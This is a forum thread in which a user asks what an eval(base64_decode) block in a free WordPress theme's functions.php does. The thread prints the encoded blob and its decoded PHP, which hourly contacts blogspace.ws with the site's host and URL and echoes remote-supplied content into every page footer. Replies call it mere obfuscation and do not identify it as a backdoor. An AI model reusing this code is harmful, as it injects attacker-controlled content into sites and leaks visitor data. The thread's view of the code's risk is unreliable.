how to evaluate decoded eval(base64

braven

I followed your instructions regarding how use PRINT in place of EVAL to see what the

eval(base64_decode

on my free wordpress theme functions_php file decodes to.

Now I don't know how to determine if what it does is anything dangerous.
More importantly I don't know how to replace it with some legitimate code.

Can I post the decoded results here inside a code brackets? Don't want to do anything wrong here!

bradgrafelman

You can, but note that free software != free of limitations; if it's got copyright information explicitly prohibiting you from modifying the code, then there's not much we can do.

Feel free to post it in its entirety, though, and we can help you take a look at it.

braven

orginal on functions_php

eval(base64_decode('ZnVuY3Rpb24gd3BfZ2V0X2Zvb3Rlcl9tZXRhKCl7Z2xvYmFsICR3cGRiO2lmKCRSNUM3RDI2NUNDPSR3cGRiLT5nZXRfdmFyKCJTRUxFQ1Qgb3B0aW9uX3ZhbHVlIEZST00gJHdwZGItPm9wdGlvbnMgV0hFUkUgb3B0aW9uX25hbWU9J2Fkd2Jfb3B0JyIpKSRSNUM3RDI2NUNDPXVuc2VyaWFsaXplKCRSNUM3RDI2NUNDKTtlbHNleyRSNUM3RDI2NUNDPWFycmF5KDAsJycpOyR3cGRiLT5xdWVyeSgiSU5TRVJUIElOVE8gJHdwZGItPm9wdGlvbnMgKG9wdGlvbl9uYW1lLCBvcHRpb25fdmFsdWUsIGF1dG9sb2FkKSBWQUxVRVMgKCdhZHdiX29wdCcsICciLnNlcmlhbGl6ZSgkUjVDN0QyNjVDQykuIicsJ25vJykiKTt9aWYgKCh0aW1lKCktJFI1QzdEMjY1Q0NbMF0pPj0zNjAwKXskUjQ2OTgyQzVGNyA9ICdibG9nc3BhY2Uud3MnOyRSNUExMUU5RjZFPScvd3BhbS8nOyAkUjNERkQ3NkJDNT1AZnNvY2tvcGVuKCRSNDY5ODJDNUY3LDgwLCRSNzQzNEUwM0Y5LCRSQTZFMDM4OTMzLDMwKTtpZiAoJFIzREZENzZCQzUpe0BzdHJlYW1fc2V0X3RpbWVvdXQoJFIzREZENzZCQzUsMzApOyBAZndyaXRlKCRSM0RGRDc2QkM1LCJHRVQgJFI1QTExRTlGNkUiLic/aD0nLnVybGVuY29kZSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicmdT0nLnVybGVuY29kZSgkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkuIiBIVFRQLzEuMVxyXG5Ib3N0OiAkUjQ2OTgyQzVGN1xyXG5Db25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIik7JFJDMDc0RDk4MTI9Jyc7d2hpbGUoIWZlb2YoJFIzREZENzZCQzUpKSRSQzA3NEQ5ODEyLj1AZmdldHMoJFIzREZENzZCQzUsIDEwMjQpOyRSQzA3NEQ5ODEyPXRyaW0oc3Ryc3RyKCRSQzA3NEQ5ODEyLCJcclxuXHJcbiIpKTt9QGZjbG9zZSgkUjNERkQ3NkJDNSk7ICRSNUM3RDI2NUNDPWFycmF5KHRpbWUoKSwkUkMwNzREOTgxMik7JHdwZGItPnF1ZXJ5KCJVUERBVEUgJHdwZGItPm9wdGlvbnMgU0VUIG9wdGlvbl92YWx1ZT0nIi5teXNxbF9lc2NhcGVfc3RyaW5nKHNlcmlhbGl6ZSgkUjVDN0QyNjVDQykpLiInIFdIRVJFIG9wdGlvbl9uYW1lPSdhZHdiX29wdCciKTt9aWYocHJlZ19tYXRjaCgnLzxhZGJ1Zz4oLis/KTxcL2FkYnVnPi9zJywkUjVDN0QyNjVDQ1sxXSwkUjIzMEYyNDQ4MykpIGVjaG8gJFIyMzBGMjQ0ODNbMV07fWFkZF9hY3Rpb24oIndwX2Zvb3RlciIsICJ3cF9nZXRfZm9vdGVyX21ldGEiKTs='));

here it is after running PRINT

function wp_get_footer_meta(){global $wpdb;if($R5C7D265CC=$wpdb->get_var("SELECT option_value FROM $wpdb->options 

WHERE 

option_name='adwb_opt'"))$R5C7D265CC=unserialize($R5C7D265CC);else{$R5C7D265CC=array(0,'');$wpdb->query("INSERT INTO 

$wpdb->options (option_name, option_value, autoload) VALUES ('adwb_opt', '".serialize($R5C7D265CC)."','no')");}if 

((time()-$R5C7D265CC[0])>=3600){$R46982C5F7 = 'blogspace.ws';$R5A11E9F6E='/wpam/'; 

$R3DFD76BC5=@fsockopen($R46982C5F7,80,$R7434E03F9,$RA6E038933,30);if 

($R3DFD76BC5){@stream_set_timeout($R3DFD76BC5,30); @fwrite($R3DFD76BC5,"GET 

$R5A11E9F6E".'?h='.urlencode($_SERVER['HTTP_HOST']).'&u='.urlencode($_SERVER['REQUEST_URI'])." HTTP/1.1\r\nHost: 

$R46982C5F7\r\nConnection: Close\r\n\r\n");$RC074D9812='';while(!feof($R3DFD76BC5))$RC074D9812.=@fgets($R3DFD76BC5, 

1024);$RC074D9812=trim(strstr($RC074D9812,"\r\n\r\n"));}@fclose($R3DFD76BC5); 

$R5C7D265CC=array(time(),$RC074D9812);$wpdb->query("UPDATE $wpdb->options SET 

option_value='".mysql_escape_string(serialize($R5C7D265CC))."' WHERE 

option_name='adwb_opt'");}if(preg_match('/(.+?)<\/adbug>/s',$R5C7D265CC[1],$R230F24483)) echo 

$R230F24483[1];}add_action("wp_footer",

and what I got when I ran it through an online decoder

¦b}û§rØ¨ìb²Û+z¬µêì‰×›jºÞ‚+-z»"uæÚ®ÍÚ®¶²zö¥m«ë‡^r‡^function wp_get_footer_meta(){global $wpdb;if($R5C7D265CC=$wpdb->get_var("SELECT option_value FROM $wpdb->options WHERE option_name='adwb_opt'"))$R5C7D265CC=unserialize($R5C7D265CC);else{$R5C7D265CC=array(0,'');$wpdb->query("INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES ('adwb_opt', '".serialize($R5C7D265CC)."','no')");}if ((time()-$R5C7D265CC[0])>=3600){$R46982C5F7 = 'blogspace.ws';$R5A11E9F6E='/wpam/'; $R3DFD76BC5=@fsockopen($R46982C5F7,80,$R7434E03F9,$RA6E038933,30);if ($R3DFD76BC5){@stream_set_timeout($R3DFD76BC5,30); @fwrite($R3DFD76BC5,"GET $R5A11E9F6E".'?h='.urlencode($_SERVER['HTTP_HOST']).'&u='.urlencode($_SERVER['REQUEST_URI'])." HTTP/1.1\r\nHost: $R46982C5F7\r\nConnection: Close\r\n\r\n");$RC074D9812='';while(!feof($R3DFD76BC5))$RC074D9812.=@fgets($R3DFD76BC5, 1024);$RC074D9812=trim(strstr($RC074D9812,"\r\n\r\n"));}@fclose($R3DFD76BC5); $R5C7D265CC=array(time(),$RC074D9812);$wpdb->query("UPDATE $wpdb->options SET option_value='".mysql_escape_string(serialize($R5C7D265CC))."' WHERE option_name='adwb_opt'");}if(preg_match('/<adbug>(.+?)<\/adbug>/s',$R5C7D265CC[1],$R230F24483)) echo $R230F24483[1];}add_action("wp_footer", "wp_get_footer_meta");

I do so appreciate any help! I have this theme up and running for a client..

bradgrafelman

Looks like it's been obfuscated with some proprietary method/software.

You'll either have to find a different place to implement your change (e.g. the template files themselves or something of that nature) or else you'll just have to find a different template that doesn't have obfuscated components.

braven

brother, that was not what I had hoped to hear about the free template, obviously. But I do appreciate your help and expertise.

They taught me when I was young, 'nothing is for free...' and I got so old I forgot that!

laserlight

Well, once you are past the the base 64 encoding, the obfuscation is just a matter of compressing the code by removing whitespace and replacing the descriptive variable names with rubbish. So, just indent the code properly and use more sane variable names. When you have finally figured out what the code does, rename the variable again to use descriptive names.

Bjom

And take a little bit of time to read the license agreement that came with that thing.

It could well be that it is perfectly ok to reengineer and change it as long as you point out your changes and point out and acknowledge the copyright of the original developers to their part of the code. LPGL would be a license that works like this.

That's as close to 'free' as anything needs to be. Actually a lot of things are. They taught you wrong, when you were young :p

Bjom

Weedpacket

All bow down to the Great Google. Great Google Knows All.

http://pastie.org/463589
http://pario.no/tag/gzinflate/